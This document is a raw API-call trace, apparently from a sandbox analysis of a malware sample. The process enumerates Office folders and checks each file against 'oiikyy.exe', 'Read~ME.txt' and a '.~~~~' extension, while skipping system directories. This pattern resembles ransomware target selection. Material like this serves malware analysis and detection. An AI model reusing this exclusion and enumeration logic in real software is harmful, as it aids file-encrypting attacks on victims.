	[0069.131] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0
	[0069.131] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0069.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.312] GetCurrentThreadId () returned 0x618
	[0069.312] RtlWakeConditionVariable () returned 0x365f48
	[0069.313] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0069.336] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="Windows") returned -1
	[0069.336] lstrcmpW (lpString1="ACECORE.DLL", lpString2="oiikyy.exe") returned -1
	[0069.336] StrStrW (lpFirst="ACECORE.DLL", lpSrch=".~~~~") returned 0x0
	[0069.336] lstrcmpW (lpString1="ACECORE.DLL", lpString2="Read~ME.txt") returned -1
	[0069.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.336] GetCurrentThreadId () returned 0x618
	[0069.336] RtlWakeConditionVariable () returned 0x365f48
	[0069.341] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1
	[0069.342] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="Windows") returned -1
	[0069.342] lstrcmpW (lpString1="ACEDAO.DLL", lpString2="oiikyy.exe") returned -1
	[0069.342] StrStrW (lpFirst="ACEDAO.DLL", lpSrch=".~~~~") returned 0x0
	[0069.342] lstrcmpW (lpString1="ACEDAO.DLL", lpString2="Read~ME.txt") returned -1
	[0069.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.342] GetCurrentThreadId () returned 0x618
	[0069.342] RtlWakeConditionVariable () returned 0x365f48
	[0069.342] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1
	[0069.342] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="Windows") returned -1
	[0069.342] lstrcmpW (lpString1="ACEERR.DLL", lpString2="oiikyy.exe") returned -1
	[0069.342] StrStrW (lpFirst="ACEERR.DLL", lpSrch=".~~~~") returned 0x0
	[0069.342] lstrcmpW (lpString1="ACEERR.DLL", lpString2="Read~ME.txt") returned -1
	[0069.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.343] GetCurrentThreadId () returned 0x618
	[0069.343] RtlWakeConditionVariable () returned 0x365f48
	[0069.343] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1
	[0069.343] lstrcmpiW (lpString1="ACEES.DLL", lpString2="Windows") returned -1
	[0069.343] lstrcmpW (lpString1="ACEES.DLL", lpString2="oiikyy.exe") returned -1
	[0069.343] StrStrW (lpFirst="ACEES.DLL", lpSrch=".~~~~") returned 0x0
	[0069.343] lstrcmpW (lpString1="ACEES.DLL", lpString2="Read~ME.txt") returned -1
	[0069.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.343] GetCurrentThreadId () returned 0x618
	[0069.343] RtlWakeConditionVariable () returned 0x365f48
	[0069.343] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1
	[0069.343] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="Windows") returned -1
	[0069.343] lstrcmpW (lpString1="ACEEXCH.DLL", lpString2="oiikyy.exe") returned -1
	[0069.343] StrStrW (lpFirst="ACEEXCH.DLL", lpSrch=".~~~~") returned 0x0
	[0069.343] lstrcmpW (lpString1="ACEEXCH.DLL", lpString2="Read~ME.txt") returned -1
	[0069.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.343] GetCurrentThreadId () returned 0x618
	[0069.344] RtlWakeConditionVariable () returned 0x365f48
	[0069.344] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1
	[0069.344] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="Windows") returned -1
	[0069.344] lstrcmpW (lpString1="ACEEXCL.DLL", lpString2="oiikyy.exe") returned -1
	[0069.344] StrStrW (lpFirst="ACEEXCL.DLL", lpSrch=".~~~~") returned 0x0
	[0069.344] lstrcmpW (lpString1="ACEEXCL.DLL", lpString2="Read~ME.txt") returned -1
	[0069.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.344] GetCurrentThreadId () returned 0x618
	[0069.344] RtlWakeConditionVariable () returned 0x365f48
	[0069.344] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1
	[0069.344] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="Windows") returned -1
	[0069.344] lstrcmpW (lpString1="ACEODBC.DLL", lpString2="oiikyy.exe") returned -1
	[0069.344] StrStrW (lpFirst="ACEODBC.DLL", lpSrch=".~~~~") returned 0x0
	[0069.344] lstrcmpW (lpString1="ACEODBC.DLL", lpString2="Read~ME.txt") returned -1
	[0069.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.344] GetCurrentThreadId () returned 0x618
	[0069.344] RtlWakeConditionVariable () returned 0x365f48
	[0069.344] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1
	[0069.345] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="Windows") returned -1
	[0069.345] lstrcmpW (lpString1="ACEODDBS.DLL", lpString2="oiikyy.exe") returned -1
	[0069.345] StrStrW (lpFirst="ACEODDBS.DLL", lpSrch=".~~~~") returned 0x0
	[0069.345] lstrcmpW (lpString1="ACEODDBS.DLL", lpString2="Read~ME.txt") returned -1
	[0069.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.345] GetCurrentThreadId () returned 0x618
	[0069.345] RtlWakeConditionVariable () returned 0x365f48
	[0069.345] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1
	[0069.345] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="Windows") returned -1
	[0069.345] lstrcmpW (lpString1="ACEODEXL.DLL", lpString2="oiikyy.exe") returned -1
	[0069.345] StrStrW (lpFirst="ACEODEXL.DLL", lpSrch=".~~~~") returned 0x0
	[0069.345] lstrcmpW (lpString1="ACEODEXL.DLL", lpString2="Read~ME.txt") returned -1
	[0069.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.345] GetCurrentThreadId () returned 0x618
	[0069.345] RtlWakeConditionVariable () returned 0x365f48
	[0069.345] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1
	[0069.345] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="Windows") returned -1
	[0069.345] lstrcmpW (lpString1="ACEODTXT.DLL", lpString2="oiikyy.exe") returned -1
	[0069.345] StrStrW (lpFirst="ACEODTXT.DLL", lpSrch=".~~~~") returned 0x0
	[0069.345] lstrcmpW (lpString1="ACEODTXT.DLL", lpString2="Read~ME.txt") returned -1
	[0069.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.345] GetCurrentThreadId () returned 0x618
	[0069.346] RtlWakeConditionVariable () returned 0x365f48
	[0069.346] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1
	[0069.346] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="Windows") returned -1
	[0069.346] lstrcmpW (lpString1="ACEOLEDB.DLL", lpString2="oiikyy.exe") returned -1
	[0069.346] StrStrW (lpFirst="ACEOLEDB.DLL", lpSrch=".~~~~") returned 0x0
	[0069.346] lstrcmpW (lpString1="ACEOLEDB.DLL", lpString2="Read~ME.txt") returned -1
	[0069.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.346] GetCurrentThreadId () returned 0x618
	[0069.346] RtlWakeConditionVariable () returned 0x365f48
	[0069.346] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1
	[0069.346] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="Windows") returned -1
	[0069.346] lstrcmpW (lpString1="ACER3X.DLL", lpString2="oiikyy.exe") returned -1
	[0069.346] StrStrW (lpFirst="ACER3X.DLL", lpSrch=".~~~~") returned 0x0
	[0069.346] lstrcmpW (lpString1="ACER3X.DLL", lpString2="Read~ME.txt") returned -1
	[0069.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.346] GetCurrentThreadId () returned 0x618
	[0069.346] RtlWakeConditionVariable () returned 0x365f48
	[0069.346] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1
	[0069.346] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="Windows") returned -1
	[0069.346] lstrcmpW (lpString1="ACERCLR.DLL", lpString2="oiikyy.exe") returned -1
	[0069.346] StrStrW (lpFirst="ACERCLR.DLL", lpSrch=".~~~~") returned 0x0
	[0069.346] lstrcmpW (lpString1="ACERCLR.DLL", lpString2="Read~ME.txt") returned -1
	[0069.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.347] GetCurrentThreadId () returned 0x618
	[0069.347] RtlWakeConditionVariable () returned 0x365f48
	[0069.347] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1
	[0069.347] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="Windows") returned -1
	[0069.347] lstrcmpW (lpString1="ACEREP.DLL", lpString2="oiikyy.exe") returned -1
	[0069.347] StrStrW (lpFirst="ACEREP.DLL", lpSrch=".~~~~") returned 0x0
	[0069.347] lstrcmpW (lpString1="ACEREP.DLL", lpString2="Read~ME.txt") returned -1
	[0069.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.347] GetCurrentThreadId () returned 0x618
	[0069.347] RtlWakeConditionVariable () returned 0x365f48
	[0069.347] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1
	[0069.347] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="Windows") returned -1
	[0069.347] lstrcmpW (lpString1="ACETXT.DLL", lpString2="oiikyy.exe") returned -1
	[0069.347] StrStrW (lpFirst="ACETXT.DLL", lpSrch=".~~~~") returned 0x0
	[0069.347] lstrcmpW (lpString1="ACETXT.DLL", lpString2="Read~ME.txt") returned -1
	[0069.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.347] GetCurrentThreadId () returned 0x618
	[0069.347] RtlWakeConditionVariable () returned 0x365f48
	[0069.347] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1
	[0069.347] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="Windows") returned -1
	[0069.347] lstrcmpW (lpString1="ACEWDAT.DLL", lpString2="oiikyy.exe") returned -1
	[0069.347] StrStrW (lpFirst="ACEWDAT.DLL", lpSrch=".~~~~") returned 0x0
	[0069.347] lstrcmpW (lpString1="ACEWDAT.DLL", lpString2="Read~ME.txt") returned -1
	[0069.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.348] GetCurrentThreadId () returned 0x618
	[0069.348] RtlWakeConditionVariable () returned 0x365f48
	[0069.348] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1
	[0069.348] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="Windows") returned -1
	[0069.348] lstrcmpW (lpString1="ACEWSS.DLL", lpString2="oiikyy.exe") returned -1
	[0069.348] StrStrW (lpFirst="ACEWSS.DLL", lpSrch=".~~~~") returned 0x0
	[0069.348] lstrcmpW (lpString1="ACEWSS.DLL", lpString2="Read~ME.txt") returned -1
	[0069.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.348] GetCurrentThreadId () returned 0x618
	[0069.348] RtlWakeConditionVariable () returned 0x365f48
	[0069.348] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1
	[0069.348] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="Windows") returned -1
	[0069.349] lstrcmpW (lpString1="ACEXBE.DLL", lpString2="oiikyy.exe") returned -1
	[0069.349] StrStrW (lpFirst="ACEXBE.DLL", lpSrch=".~~~~") returned 0x0
	[0069.349] lstrcmpW (lpString1="ACEXBE.DLL", lpString2="Read~ME.txt") returned -1
	[0069.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.349] GetCurrentThreadId () returned 0x618
	[0069.349] RtlWakeConditionVariable () returned 0x365f48
	[0069.349] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1
	[0069.349] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="Windows") returned -1
	[0069.349] lstrcmpW (lpString1="ATLCONV.DLL", lpString2="oiikyy.exe") returned -1
	[0069.349] StrStrW (lpFirst="ATLCONV.DLL", lpSrch=".~~~~") returned 0x0
	[0069.349] lstrcmpW (lpString1="ATLCONV.DLL", lpString2="Read~ME.txt") returned -1
	[0069.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.350] GetCurrentThreadId () returned 0x618
	[0069.350] RtlWakeConditionVariable () returned 0x365f48
	[0069.350] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1
	[0069.350] lstrcmpiW (lpString1="Csi.dll", lpString2="Windows") returned -1
	[0069.350] lstrcmpW (lpString1="Csi.dll", lpString2="oiikyy.exe") returned -1
	[0069.350] StrStrW (lpFirst="Csi.dll", lpSrch=".~~~~") returned 0x0
	[0069.350] lstrcmpW (lpString1="Csi.dll", lpString2="Read~ME.txt") returned -1
	[0069.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.350] GetCurrentThreadId () returned 0x618
	[0069.350] RtlWakeConditionVariable () returned 0x365f48
	[0069.351] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1
	[0069.351] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="Windows") returned -1
	[0069.351] lstrcmpW (lpString1="CsiSoap.dll", lpString2="oiikyy.exe") returned -1
	[0069.351] StrStrW (lpFirst="CsiSoap.dll", lpSrch=".~~~~") returned 0x0
	[0069.351] lstrcmpW (lpString1="CsiSoap.dll", lpString2="Read~ME.txt") returned -1
	[0069.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.351] GetCurrentThreadId () returned 0x618
	[0069.351] RtlWakeConditionVariable () returned 0x365f48
	[0069.351] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1
	[0069.351] lstrcmpiW (lpString1="Cultures", lpString2="Windows") returned -1
	[0069.351] lstrcmpW (lpString1="Cultures", lpString2=".") returned 1
	[0069.351] lstrcmpW (lpString1="Cultures", lpString2="..") returned 1
	[0069.351] lstrcmpW (lpString1="Cultures", lpString2="AppData") returned 1
	[0069.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures", lpSrch="AppData") returned 0x0
	[0069.352] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.352] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures", lpString2="C:\\Windows") returned -1
	[0069.352] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.352] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures", lpString2="C:\\System Volume Information") returned -1
	[0069.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b76e0
	[0069.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0069.354] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.354] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.354] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.354] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.354] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
